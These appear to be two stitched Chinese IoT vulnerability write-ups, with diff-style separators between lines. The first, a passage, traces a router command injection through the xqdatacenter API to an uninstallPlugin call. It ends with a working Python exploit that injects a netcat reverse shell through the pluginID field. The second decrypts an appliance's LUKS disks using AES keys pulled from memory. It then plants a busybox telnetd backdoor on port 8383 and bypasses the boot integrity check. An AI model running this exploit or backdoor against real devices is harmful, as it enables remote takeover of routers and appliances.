-- 映射 /api/xqdatacenter/request 到调用函数 tunnelRequest
|
||||
entry({"api", "xqdatacenter", "request"}, call("tunnelRequest"), _(""), 301)
|
||||
end
|
||||
|
||||
```
|
||||
|
||||
在`tunnelRequest`函数中,传入的 `payload` 字段包含的是一段 JSON 数据,这段数据是通过 `formvalue_unsafe` 函数获取的。由于该函数不会对输入内容进行安全过滤,因此可能存在安全隐患。接着,这段 JSON 数据会先被转换为二进制格式,然后通过 `binaryBase64Enc` 函数进行 Base64 编码。最终,编码后的内容会被拼接进一个由 `THRIFT_TUNNEL_TO_DATACENTER` 所表示的系统命令中,并被执行。
|
||||
|
||||
```lua
|
||||
function L5()
|
||||
local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9
|
||||
L0 = require
|
||||
L1 = "luci.util"
|
||||
L0 = L0(L1)
|
||||
L1 = require
|
||||
L2 = "xiaoqiang.util.XQCryptoUtil"
|
||||
L1 = L1(L2)
|
||||
L2 = L1.binaryBase64Enc
|
||||
L3 = _UPVALUE0_
|
||||
L3 = L3.formvalue_unsafe
|
||||
L4 = "payload"
|
||||
L3, L4, L5, L6, L7, L8, L9 = L3(L4)
|
||||
L2 = L2(L3, L4, L5, L6, L7, L8, L9)
|
||||
L3 = _UPVALUE1_
|
||||
L3 = L3.THRIFT_TUNNEL_TO_DATACENTER
|
||||
L3 = L3 % L2
|
||||
L4 = L0.exec
|
||||
L5 = L3
|
||||
L4 = L4(L5)
|
||||
L5 = _UPVALUE0_
|
||||
L5 = L5.write
|
||||
L6 = L4
|
||||
L7 = nil
|
||||
L8 = false
|
||||
L9 = true
|
||||
L5(L6, L7, L8, L9)
|
||||
L5 = _UPVALUE2_
|
||||
L5 = L5.decode
|
||||
L6 = L4
|
||||
L5 = L5(L6)
|
||||
L6 = L5.api
|
||||
if 666 == L6 then
|
||||
L6 = _UPVALUE1_
|
||||
L6 = L6.THRIFT_TUNNEL_TO_DATACENTER
|
||||
L7 = L1.binaryBase64Enc
|
||||
L8 = L4
|
||||
L7 = L7(L8)
|
||||
L3 = L6 % L7
|
||||
L6 = _UPVALUE3_
|
||||
L6 = L6.forkExec
|
||||
L7 = L3
|
||||
L6(L7)
|
||||
end
|
||||
end
|
||||
tunnelRequest = L5
|
||||
```
|
||||
|
||||
恢复可读性
|
||||
|
||||
```lua
|
||||
function tunnelRequest()
|
||||
local util = require("luci.util")
|
||||
local crypto = require("xiaoqiang.util.XQCryptoUtil")
|
||||
local base64Enc = crypto.binaryBase64Enc
|
||||
|
||||
-- 从请求中获取 payload 字段,使用不安全方法(未过滤)
|
||||
local formvalue = _UPVALUE0_.formvalue_unsafe
|
||||
local raw_payload = formvalue("payload")
|
||||
|
||||
-- base64 编码 payload 内容(包括可能的多参数展开)
|
||||
local encoded = base64Enc(raw_payload)
|
||||
|
||||
-- 构造命令
|
||||
local cmd_template = _UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER
|
||||
local cmd = string.format(cmd_template, encoded)
|
||||
|
||||
-- 执行命令
|
||||
local output = util.exec(cmd)
|
||||
|
||||
-- 写出执行结果
|
||||
_UPVALUE0_.write(output, nil, false, true)
|
||||
|
||||
-- 解码返回结果
|
||||
local decode = _UPVALUE2_.decode
|
||||
local parsed = decode(output)
|
||||
|
||||
-- 如果解析结果中 api == 666,则执行二次命令
|
||||
if parsed.api == 666 then
|
||||
local second_cmd_template = _UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER
|
||||
local second_encoded = base64Enc(output)
|
||||
local second_cmd = string.format(second_cmd_template, second_encoded)
|
||||
|
||||
-- fork 执行命令
|
||||
_UPVALUE3_.forkExec(second_cmd)
|
||||
end
|
||||
end
|
||||
|
||||
```
|
||||
|
||||
我们搜索之前区别解密lua脚本,使用grep命令进行查看THRIFT_TUNNEL_TO_DATACENTER在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua下,我们可以看到所指代的命令为thrifttunnel 0 '%s',那就简单了, string.format函数需要传入cmd_template, encoded这两个参数,即thrifttunnel 0 'base64编码的payload字段'赋值给我们cmd,最后执行我们命令util.exec(cmd),那我们需要去分析thrifttunnel逻辑了
|
||||
|
||||
```lua
|
||||
L0 = "thrifttunnel 0 '%s'"
|
||||
THRIFT_TUNNEL_TO_DATACENTER = L0
|
||||
L0 = "thrifttunnel 1 '%s'"
|
||||
THRIFT_TUNNEL_TO_SMARTHOME = L0
|
||||
L0 = "thrifttunnel 2 '%s'"
|
||||
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
|
||||
L0 = "thrifttunnel 3 ''"
|
||||
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
|
||||
L0 = "thrifttunnel 4 ''"
|
||||
THRIFT_TO_MQTT_GET_SN = L0
|
||||
L0 = "thrifttunnel 5 ''"
|
||||
THRIFT_TO_MQTT_GET_DEVICEID = L0
|
||||
L0 = "thrifttunnel 6 '%s'"
|
||||
THRIFT_TUNNEL_TO_MIIO = L0
|
||||
L0 = "thrifttunnel 7 '%s'"
|
||||
THRIFT_TUNNEL_TO_YEELINK = L0
|
||||
L0 = "thrifttunnel 8 '%s'"
|
||||
THRIFT_TUNNEL_TO_CACHECENTER = L0
|
||||
```
|
||||
|
||||
使用ida分析thrifttunnel逻辑,当我们收到三个参数后会进if判断, 将命令行参数 `argv[2]` 的字符串内容赋值给变量 `v9`(一个 `std::string` 对象) , 将空字符串 `""` 赋值给 `v11`,
|
||||
|
||||

|
||||
|
||||
进入`sub_40DB30`函数后,可以发现首先将与`a1`(`Base64`编码的`payload`字段)相关的数据作为参数传入了`sub_40FABC`函数处理,并最终将其返回结果通过`string::assign()`赋值给了`a2`(即上一级的`v11`变量),这个sub_40FABC函数看起来是从一段压缩或编码数据中解码并还原出字符数据,通过位操作和查表方式解析 UTF-8 或自定义 Base64-like 编码,最终写入一个输出流或对象(`v13` 和 `v6`)中 ,猜测这里进行了解密的操作,那其实其参数`v11`就是解码后的`Json`字符串。
|
||||
|
||||

|
||||
|
||||
我们回到主函数进行分析,取我们命令行参数的第二个也就是option 0,那就没错了,由于if判断太难看了,我们使用ai恢复成swich语句,那可以快速的分析我们的代码逻辑,当v6=0的时候会进入sub_40DFE4函数。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
在`sub_40DBF4`函数中,创建了`socket`,结合传入的参数(上级的`v11`变量)是`Json`字符串,很容易判断出此处会将`payload`字段的`Json`数据发送给本地`127.0.0.1`的`9090`端口
|
||||
|
||||

|
||||
|
||||
/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理。我们的漏洞点是在605的时候会调用callPluginCenter函数,我们简单的分析一下callPluginCenter函数。
|
||||
|
||||

|
||||
|
||||
又是发送给本地9091端口进行处理,我们找到9091端口对应的文件是plugincenter,这个文件在系统的/usr/sbin/plugincenter
|
||||
|
||||

|
||||
|
||||
我们继续跟踪plugincenter这个二进制程序,我在函数栏进行查找搜索api,查看是否有605对应的映射关系,在经历千辛万苦的寻找终于在datacenter::PluginApiMappingCollection::sConstructMappingTable函数,看到是4663901十进制,我们找到对应地址进行跳转。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
跳转地址是上面可以看见是0x472A5D,我接着分析,json格式里面pluginID参数最终赋值给了函数uninstallPlugin里面参数v14,我们接着分析uninstallPlugin函数。
|
||||
|
||||

|
||||
|
||||
我们传入的值是a3对应传递给了uninstallPlugin函数,我们接着分析uninstallPlugin函数
|
||||
|
||||

|
||||
|
||||
我们传入的参数在没有任何校验情况下,进行命令执行。到这里完整利用链就清楚了,那我们现在来构造最后的exp。
|
||||
|
||||

|
||||
|
||||
### exp
|
||||
|
||||
```python
|
||||
import requests
|
||||
import socket
|
||||
import sys
|
||||
|
||||
server_ip = ""
|
||||
client_ip = ""
|
||||
token = "b994ce28a0bfb56c5ea54be1e97d0e99"
|
||||
|
||||
# 构造反弹 shell 命令
|
||||
nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 6666 >/tmp/f;".format(client_ip)
|
||||
|
||||
# 尝试连接目标服务器的 80 端口,判断是否在线
|
||||
def is_host_reachable(ip, port=8098, timeout=2):
|
||||
try:
|
||||
socket.setdefaulttimeout(timeout)
|
||||
socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((ip, port))
|
||||
return True
|
||||
except:
|
||||
return False
|
||||
|
||||
# 如果无法连通则退出
|
||||
if not is_host_reachable(server_ip):
|
||||
print(f"[!] 无法连接到 {server_ip}:8098,终止执行")
|
||||
sys.exit(1)
|
||||
|
||||
# 发起请求
|
||||
try:
|
||||
res = requests.post(
|
||||
f"http://{server_ip}/cgi-bin/luci/;stok={token}/api/xqdatacenter/request",
|
||||
data={'payload': '{"api":605, "pluginID":"' + nc_shell + '"}'}
|
||||
)
|
||||
print("[+] 请求已发送,返回内容:")
|
||||
print(res.text)
|
||||
except Exception as e:
|
||||
print(f"[!] 请求发送失败:{e}")
|
||||
|
||||
```
|
||||
|
||||
最后成功打出反弹shell
|
||||
|
||||

|
||||
@@ -0,0 +1,446 @@
|
||||
# 某网络设备解密的两种思路
|
||||
> kris
|
||||
> 来源:https://www.iotsec-zone.com/article/537
|
||||
|
||||
# 0x1
|
||||
这是环境搭建好的页面,无法进入到底层的shell界面
|
||||

|
||||
|
||||
使用vmware将搭建好的系统盘挂载到另外一个虚拟机上
|
||||
|
||||
```bash
|
||||
Disk /dev/sda: 100 GiB, 107374182400 bytes, 209715200 sectors
|
||||
Disk model: VMware Virtual S
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
Disklabel type: gpt
|
||||
Disk identifier: 7C0CDB37-340D-4226-A8F1-FC9EBAC6D294
|
||||
|
||||
Device Start End Sectors Size Type
|
||||
/dev/sda1 2048 4095 2048 1M BIOS boot
|
||||
/dev/sda2 4096 1054719 1050624 513M EFI System
|
||||
/dev/sda3 1054720 209713151 208658432 99.5G Linux filesystem
|
||||
|
||||
Disk /dev/mapper/groupZ-home: 6.72 GiB, 7218397184 bytes, 14098432 sectors
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
|
||||
Disk /dev/mapper/groupA-home: 4.87 GiB, 5226102784 bytes, 10207232 sectors
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
|
||||
Disk /dev/mapper/groupA-runtime: 19.46 GiB, 20891828224 bytes, 40804352 sectors
|
||||
Units: sectors of 1 * 512 = 512 bytes
|
||||
Sector size (logical/physical): 512 bytes / 512 bytes
|
||||
I/O size (minimum/optimal): 512 bytes / 512 bytes
|
||||
```
|
||||
这里是挂载出来的所有的磁盘内容,这里直接创建三个目录挂载出来,发现了加密文件就是这三个,只需要对这三个文件进行解密即可
|
||||
```bash
|
||||
root@eve:~# mount /dev/mapper/groupZ-home /tmp/sda2
|
||||
mount: /tmp/sda2: unknown filesystem type 'crypto_LUKS'.
|
||||
|
||||
root@eve:~# mount /dev/mapper/groupA-home /tmp/sda2
|
||||
mount: /tmp/sda2: unknown filesystem type 'crypto_LUKS'.
|
||||
|
||||
root@eve:~# mount /dev/mapper/groupA-runtime /tmp/sda2
|
||||
mount: /tmp/sda2: unknown filesystem type 'crypto_LUKS'.
|
||||
```
|
||||
内核启动的时有调用crypto进行加密,其中也有调用api进行解密,那么这个加密与解密的过程就在虚拟机的内存当中,现在只需要对虚拟机的内存文件进行扫描密码即可
|
||||
|
||||
```c
|
||||
1.boot loader把内核以及initrd文件加载到内存的特定位置。
|
||||
|
||||
2.内核判断initrd的文件格式,如果不是cpio格式,将其作为image-initrd处理。
|
||||
|
||||
3.内核将initrd的内容保存在rootfs下的/initrd.image文件中。
|
||||
|
||||
4.内核将/initrd.image的内容读入/dev/ram0设备中,也就是读入了一个内存盘中。
|
||||
|
||||
5.接着内核以可读写的方式把/dev/ram0设备挂载为原始的根文件系统。
|
||||
|
||||
6..如果/dev/ram0被指定为真正的根文件系统,那么内核跳至最后一步正常启动。
|
||||
|
||||
7.执行initrd上的/linuxrc文件,linuxrc通常是一个脚本文件,负责加载内核访问根文件系统必须的驱动,以及加载根文件系统。
|
||||
|
||||
8./linuxrc执行完毕,常规根文件系统被挂载
|
||||
|
||||
9.如果常规根文件系统存在/initrd目录,那么/dev/ram0将从/移动到/initrd。否则如果/initrd目录不存在,/dev/ram0将被卸载。
|
||||
|
||||
10.在常规根文件系统上进行正常启动过程 ,执行/sbin/init。
|
||||
```
|
||||
这里将`sda1`,`sda2`,`sda3`分别挂载出来其中有`grub.cfg`,在`grub.cfg`中进入`Current`会进入到系统A分区,这里的内容已经告诉我们需要对`GroupA`组当中的磁盘进行解密,因为`GroupZ`是恢复工厂设置
|
||||
```
|
||||
....
|
||||
menuentry "Current" {
|
||||
|
||||
set root=(hd0,2) //将GRUB的根文件系统设置为第一块的第二个分区
|
||||
|
||||
linux /kernel system=A rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
|
||||
//采用了A/Z双分区
|
||||
|
||||
initrd /coreboot.img //初始内存盘的文件路径
|
||||
}
|
||||
|
||||
menuentry "Factory Reset" {
|
||||
|
||||
set root=(hd0,1)
|
||||
|
||||
linux /kernel system=Z noconfirm rootdelay=5 console=ttyS0,115200n8 console=tty0 vm_hv_type=VMware
|
||||
|
||||
initrd /coreboot.img
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
使用`findaes`工具对内存文件扫描获取的密钥,这里的密钥就是从系统A分区的内存中得到的
|
||||
```bash
|
||||
PS C:\Users\admin\Documents\Virtual Machines\ivanti> findaes.exe .\ivanti-ce6dee15.vmem
|
||||
Searching .\ivanti-ce6dee15.vmem
|
||||
Found AES-256 key schedule at offset 0xa511916c:
|
||||
00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
|
||||
|
||||
...
|
||||
|
||||
Found AES-256 key schedule at offset 0xf4586070:
|
||||
f1 a8 aa 2b cc 4f d4 66 53 73 eb 56 81 d7 b7 9e 65 ec 1b 8e bf b9 2f 7d 71 c7 da 8e 80 95 91 72
|
||||
Found AES-128 key schedule at offset 0xf4c6a040:
|
||||
e1 fc 5e b7 d8 41 58 da ba d8 eb bc f6 cd 2a 18
|
||||
```
|
||||
构造一个`python`脚本来对密码进行匹配
|
||||
```python
|
||||
import re
|
||||
import subprocess
|
||||
import binascii
|
||||
import os
|
||||
|
||||
TARGET_DEVICES = [
|
||||
"/dev/mapper/groupA-home",
|
||||
"/dev/mapper/groupA-runtime",
|
||||
"/dev/mapper/groupZ-home"
|
||||
]
|
||||
|
||||
def parse_keys_from_log(filepath):
|
||||
"""从 findaes 日志中提取并清洗出有效的唯一 AES 密钥"""
|
||||
valid_keys = set()
|
||||
hex_pattern = re.compile(r'^([0-9a-f]{2}(?: [0-9a-f]{2})+)$', re.IGNORECASE)
|
||||
|
||||
if not os.path.exists(filepath):
|
||||
print(f"[-] 找不到密钥文件: {filepath}")
|
||||
return []
|
||||
|
||||
with open(filepath, 'r') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if hex_pattern.match(line):
|
||||
if '00 01 02 03' not in line:
|
||||
clean_hex = line.replace(' ', '')
|
||||
valid_keys.add(clean_hex)
|
||||
|
||||
return list(valid_keys)
|
||||
|
||||
def test_device(device, keys):
|
||||
"""针对单个设备测试所有密钥"""
|
||||
if not os.path.exists(device):
|
||||
print(f"[-] 警告: 目标设备 {device} 不存在,跳过。")
|
||||
return False
|
||||
|
||||
mapper_name = f"decrypted_{os.path.basename(device)}"
|
||||
tmp_key_file = f"/tmp/test_key_{os.path.basename(device)}.bin"
|
||||
|
||||
print(f"\n[*] 开始测试设备: {device} (共 {len(keys)} 个候选密钥)")
|
||||
|
||||
for hex_key in keys:
|
||||
try:
|
||||
with open(tmp_key_file, 'wb') as f:
|
||||
f.write(binascii.unhexlify(hex_key))
|
||||
|
||||
cmd = [
|
||||
'cryptsetup', 'luksOpen', device, mapper_name,
|
||||
'--master-key-file', tmp_key_file
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"[+] 破解成功! 设备 {device} 的 Master Key 是:")
|
||||
print(f" {hex_key}")
|
||||
print(f"[+] 已成功挂载到: /dev/mapper/{mapper_name}")
|
||||
os.remove(tmp_key_file)
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
continue
|
||||
|
||||
print(f"[-] 匹配失败: 没有任何提取的密钥可以解密 {device}。")
|
||||
if os.path.exists(tmp_key_file):
|
||||
os.remove(tmp_key_file)
|
||||
return False
|
||||
|
||||
def main():
|
||||
key_log_file = "keys.txt"
|
||||
|
||||
print("[*] 正在解析内存提取的密钥日志...")
|
||||
keys = parse_keys_from_log(key_log_file)
|
||||
|
||||
if not keys:
|
||||
print("[-] 未能提取到有效的十六进制密钥,请检查 keys.txt 文件内容。")
|
||||
return
|
||||
|
||||
print(f"[*] 成功清洗并提取了 {len(keys)} 个唯一的有效候选密钥。")
|
||||
|
||||
for target in TARGET_DEVICES:
|
||||
test_device(target, keys)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
|
||||
执行脚本后成功把系统A分区的磁盘解密
|
||||
```bash
|
||||
root@eve:/tmp# python3 1.py
|
||||
|
||||
[+] 破解成功! 设备 /dev/mapper/groupA-home 的 Master Key 是:
|
||||
|
||||
ef6c94e31dd6093de0d3ab47beeda767a8f66285a4a46f872503462b2ae4a741
|
||||
|
||||
[+] 已成功挂载到: /dev/mapper/decrypted_groupA-home
|
||||
|
||||
[+] 破解成功! 设备 /dev/mapper/groupA-runtime 的 Master Key 是:
|
||||
40b15427c2463521f5a972003b66ea905307868a4d72ff02196a31e5e7c0e489
|
||||
|
||||
[+] 已成功挂载到: /dev/mapper/decrypted_groupA-runtime
|
||||
```
|
||||
这里解密后将解密后的磁盘进行挂载就可以得到文件系统了
|
||||
```bash
|
||||
root@eve:/tmp# ls -l /tmp/sda1
|
||||
total 24
|
||||
drwxr-xr-x 2 675 511 4096 Oct 5 2024 boot
|
||||
drwx------ 2 root root 16384 Apr 28 21:43 lost+found
|
||||
drwxr-xr-x. 25 root root 4096 May 2 01:17 root
|
||||
root@eve:/tmp# cd sda1/root/
|
||||
root@eve:/tmp/sda1/root# ls
|
||||
4.17.00-x86_64 bin boot cgroups conf data dev etc gzip home lib lib64
|
||||
mnt2 modules pkg proc root run runtime sbin selinux sys tmp usr va
|
||||
var webserver
|
||||
```
|
||||
|
||||
拷贝一个支持相同架构的`busybox`,因为既要有pl脚本输出的内容,也需要后门权限
|
||||
添加后门(busybox需要权限否则开机时执行不了命令)
|
||||
```bash
|
||||
system("/sbin/iptables -A INPUT -p tcp --dport 8383 -j ACCEPT");
|
||||
system("/home/bin/busybox telnetd -l /bin/sh -p 8383");
|
||||
```
|
||||
配置完成后卸载已经挂载的磁盘
|
||||
```bash
|
||||
umount /dev/mapper/decrypted_groupA-home
|
||||
umount /dev/mapper/decrypted_groupA-runtime
|
||||
```
|
||||
关闭并锁定 `LUKS` 加密卷
|
||||
```bash
|
||||
cryptsetup luksClose decrypted_groupA-home
|
||||
cryptsetup luksClose decrypted_groupA-runtime
|
||||
```
|
||||
直到输出`lsblk`命令,所有的挂载、解密层和 LVM 逻辑卷已经完美卸载并彻底分离
|
||||
```bash
|
||||
root@iotseczone:/dev/mapper# lsblk
|
||||
|
||||
......
|
||||
|
||||
sda 8:0 0 100G 0 disk
|
||||
├─sda1 8:1 0 1M 0 part
|
||||
├─sda2 8:2 0 513M 0 part /boot/efi
|
||||
└─sda3 8:3 0 99.5G 0 part /
|
||||
sdb 8:16 0 80G 0 disk
|
||||
├─sdb1 8:17 0 102M 0 part
|
||||
├─sdb2 8:18 0 102M 0 part
|
||||
├─sdb3 8:19 0 102M 0 part
|
||||
├─sdb4 8:20 0 1K 0 part
|
||||
├─sdb5 8:21 0 6.7G 0 part
|
||||
│ └─groupZ-home 252:0 0 6.7G 0 lvm
|
||||
├─sdb6 8:22 0 7.3G 0 part
|
||||
│ ├─groupA-home 252:1 0 4.9G 0 lvm
|
||||
│ └─groupA-runtime 252:2 0 19.5G 0 lvm
|
||||
├─sdb7 8:23 0 17G 0 part
|
||||
│ └─groupA-runtime 252:2 0 19.5G 0 lvm
|
||||
├─sdb8 8:24 0 7.3G 0 part
|
||||
├─sdb9 8:25 0 17G 0 part
|
||||
├─sdb10 8:26 0 7.3G 0 part
|
||||
└─sdb11 8:27 0 17G 0 part
|
||||
```
|
||||
发现在启动的时候系统会检查脚本文件的完整性
|
||||
|
||||

|
||||
|
||||
对关键字的搜索找到了该脚本
|
||||
```bash
|
||||
root@iotseczone:/tmp/sda1/root# find ./ -name "*.sh" | grep -i "integrity"
|
||||
./home/bin/check_integrity.sh
|
||||
```
|
||||
check_integrity.sh脚本的流程是:
|
||||
- 检验清单自身的合法性
|
||||
- 逐一检验系统文件
|
||||
|
||||
如果要绕过检测的话最直接的办法就是将stopOnError=1改为0
|
||||
```bash
|
||||
sh-4.2# ps -aux | grep "telnetd"
|
||||
root 4147 0.0 0.0 1248 32 ? Ss 07:27 0:00 /home/bin/busybox telnetd -l /bin/sh -p 8383
|
||||
root 4160 0.0 0.0 4516 3020 pts/0 S+ 07:28 0:00 grep telnetd
|
||||
```
|
||||
|
||||
# 0x2
|
||||
通过安装[vmlinux-to-elf](https://github.com/marin-m/vmlinux-to-elf)工具将kernel文件从原始内核中恢复出完全可分析的.elf文件
|
||||
```bash
|
||||
root@iotseczone:/home/iotsec-zone# file ./Tools/qemu-images/powerpc/kernel.bin
|
||||
./Tools/qemu-images/powerpc/kernel.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=61bc74a13bf25e025ff27033a10f7ae939c4c6f2, not stripped
|
||||
```
|
||||
在kernel文件的`populate_rootfs`函数中使用了基于 512 字节扇区的变异 CBC-MAC 混合加密模式
|
||||
```c
|
||||
if ( initrd_start )
|
||||
{
|
||||
// 如果内存中存在 initrd (初始 RAM 磁盘) 的起始物理/虚拟地址
|
||||
// 调用内核标准的打印函数
|
||||
printk((unsigned int)&unk_FFFFFFFF82055898, v7, v9, v10, v11, v12);
|
||||
|
||||
//记录加密数据的起始地址
|
||||
v13 = initrd_start;
|
||||
|
||||
//v14 计算出加密数据的总长度
|
||||
v14 = (unsigned int)(initrd_end - initrd_start);
|
||||
v19 = crypto_alloc_base((__int64)&aVaes[1], 0, 0);// 返回的 v19 是一个指向 crypto_tfm (Transform) 结构体的指针
|
||||
|
||||
if ( v19 <= 18446744073709547520uLL )
|
||||
{
|
||||
|
||||
// 异或还原逻辑
|
||||
// 将分散在 .rodata 段的假密钥和硬编码的掩码进行 XOR,拼凑出真实的 16 字节 AES 密钥
|
||||
// 结果存放在栈上的 v37 数组中 (v37 是一个 4 个元素的 32-bit 整型数组)
|
||||
v37[1] = HIDWORD(DSRAMFS_AES_KEY) ^ 0xAEEF41FE;
|
||||
v37[0] = DSRAMFS_AES_KEY ^ 0x99ED2BF2;
|
||||
v37[2] = qword_FFFFFFFF81E00168 ^ 0x141058C7;
|
||||
v37[3] = HIDWORD(qword_FFFFFFFF81E00168) ^ 0xD2ED180E;
|
||||
|
||||
// v19 + 8 对应的是 crypto_tfm 结构体中的 setkey 函数指针!
|
||||
// 翻译为 C 语言即:crypto_cipher_setkey(tfm=v19, key=v37, keylen=16)
|
||||
(*(void (__fastcall **)(unsigned __int64, _DWORD *, __int64))(v19 + 8))(v19, v37, 16);
|
||||
v20 = 0;
|
||||
while ( v14 > 511 ) // v14大于511 512是一个标准磁盘扇区
|
||||
{
|
||||
v14 -= 512LL;
|
||||
LODWORD(v38) = v20;
|
||||
*(_QWORD *)((char *)&v38 + 4) = 0;
|
||||
|
||||
// v21 指向当前要解密的 512 字节数据的内存起始位置
|
||||
// v20 << 9 相当于 v20 * 512。v13 是基址。
|
||||
v21 = (_DWORD *)(v13 + (unsigned int)(v20 << 9));
|
||||
|
||||
// 提前计算下一个扇区的编号
|
||||
v36 = v20 + 1;
|
||||
HIDWORD(v38) = 0;
|
||||
// v22 是当前扇区的结束指针。因为 v21 是 4 字节的 _DWORD 指针,
|
||||
// 所以 128 * 4 = 512 字节。v22 指向扇区末尾。
|
||||
v22 = v21 + 128;
|
||||
|
||||
// 【核心】间接调用加密函数 // v19 + 24 对应的是 crypto_tfm 中的 encrypt_one 函数指针。
|
||||
// 将刚才构造的 v38 (扇区编号) 作为输入,用 AES 引擎加密,输出结果存入 v39。 // v39 就是这个 512 字节扇区的【全局静态掩码】。
|
||||
(*(void (__fastcall **)(unsigned __int64, _DWORD *, __int128 *))(v19 + 24))(v19, v39, &v38);
|
||||
do
|
||||
{
|
||||
|
||||
// 1. Pre-XOR (前置异或)
|
||||
// 将密文的前 16 个字节,与该扇区的【全局静态掩码 v39】进行异或
|
||||
*v21 ^= v39[0];
|
||||
v21[1] ^= v39[1];
|
||||
v21[2] ^= v39[2];
|
||||
v21[3] ^= v39[3];
|
||||
|
||||
// 2. 状态保存
|
||||
// 将前置异或后的密文原封不动地备份到 v35 (16 字节) 中
|
||||
v35 = *(_OWORD *)v21;
|
||||
|
||||
// 3. 原地 AES 解密
|
||||
// 再次调用 v19+24 (AES 引擎)。注意传参是 (v19, v21, v21)
|
||||
// 意思是将 v21 指向的数据进行 AES 运算,结果再次覆盖写回 v21。
|
||||
(*(void (__fastcall **)(unsigned __int64, _DWORD *, _DWORD *))(v19 + 24))(v19, v21, v21);
|
||||
|
||||
// 4. Post-XOR (后置异或 / CBC 链结)
|
||||
// 将 AES 输出的结果,与 v38 进行异或。
|
||||
// (注意:如果是扇区的第一个块,v38 是 [扇区编号,0,0,0];如果是后续块,v38 是上一个块的 v35 密文备份)
|
||||
*v21 ^= v38;
|
||||
v21[1] ^= DWORD1(v38);
|
||||
v21[2] ^= DWORD2(v38);
|
||||
v21[3] ^= HIDWORD(v38);
|
||||
|
||||
// 5. 指针偏移与状态更新
|
||||
v21 += 4; // 指针前进 4 个 _DWORD (16 字节),准备处理下一个块
|
||||
v38 = v35;
|
||||
}
|
||||
while ( v22 != v21 ); // 如果还没有走到当前 512 字节扇区的末尾,就继续循环
|
||||
v20 = v36; // 扇区处理完毕,更新为下一个扇区编号
|
||||
}
|
||||
```
|
||||
通过对代码的分析和全局变量的提取,生成了一个解密脚本来解密加载到initrd当中的coreboot.img文件,这里的脚本作者就不提供了,希望大家可以根据密钥以及代码可以理解到该如何去解密这个coreboot.img,不是很难!
|
||||
|
||||
使用脚本将coreboot.img解密
|
||||
```shell
|
||||
root@iotseczone:/home/iotsec-zone# python3 1.py
|
||||
[*] 正在装载终极密钥...
|
||||
[*] 固件总大小: 40962505 字节
|
||||
[*] 共探测到 80004 个完整 512 字节扇区,准备实施变异解密...
|
||||
[*] 检测到尾部 457 字节未对齐数据,按照内核逻辑跳过解密直接追加。
|
||||
|
||||
[++++++++++ 内核级还原完成! ++++++++++]
|
||||
[+] 明文已保存至: coreboo_decrypted.img
|
||||
[+] 嗅探结果: 标准 GZIP,可直接解压!
|
||||
```
|
||||
|
||||
解压后成功得到文件系统,查找密钥关键字
|
||||
```bash
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# find ./ -name "*key*"
|
||||
./etc/lvmkey
|
||||
```
|
||||
查看密钥字节数以及使用十六进制查看它的本身
|
||||
```bash
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# wc -c ./etc/lvmkey
|
||||
16 ./etc/lvmkey
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# hexdump -C ./etc/lvmkey
|
||||
00000000 6e 1b d1 c3 48 70 bd 72 d2 31 bd 75 53 7e 6c c3 |n...Hp.r.1.uS~l.|
|
||||
00000010
|
||||
```
|
||||
当这个密钥在内存当中的时候是32字节,这里却是16字节,
|
||||
根据关键字对/etc/lvmkey进行搜索发现了在lvm-shlib文件当中luksFormat会生成32字节主卷密钥(这里也体现了cbc混合加密模式,它结合了 AES 加密算法、CBC 工作模式、ESSIV 初始化向量生成技术和 SHA256 哈希算法)
|
||||
- AES:一种对称加密算法
|
||||
- CBC:分组密码工作模式
|
||||
- ESSIV:通过扇区的比那好生成IV的方法 IV:是SN被hash经过加密的结果
|
||||
```bash
|
||||
root@iotseczone:/home/iotsec-zone/_123.extracted/cpio-root# grep -rnw ./ -e "/etc/lvmkey"
|
||||
./bin/lvm-shlib:118: echo "y" | $encrypt -q --cipher aes-cbc-essiv:sha256 --key-file /etc/lvmkey luksFormat ${device}
|
||||
```
|
||||
它会在底层调用Linux内核的/dev/urandom,真随机数生成器抓取32字节的极高熵随机数作为硬盘的终极密码
|
||||
```bash
|
||||
dd if=/dev/zero of=test.img bs=1M count=10
|
||||
strace -e trace=openat,open,getrandom cryptsetup -q luksFormat test.img
|
||||
```
|
||||
这里通过对进程的跟踪也可以证实这一点
|
||||
```bash
|
||||
...
|
||||
Enter passphrase for test.img:
|
||||
openat(AT_FDCWD, "/usr/lib/ssl/openssl.cnf", O_RDONLY) = 3
|
||||
openat(AT_FDCWD, "/dev/urandom", O_RDONLY|O_CLOEXEC) = 3
|
||||
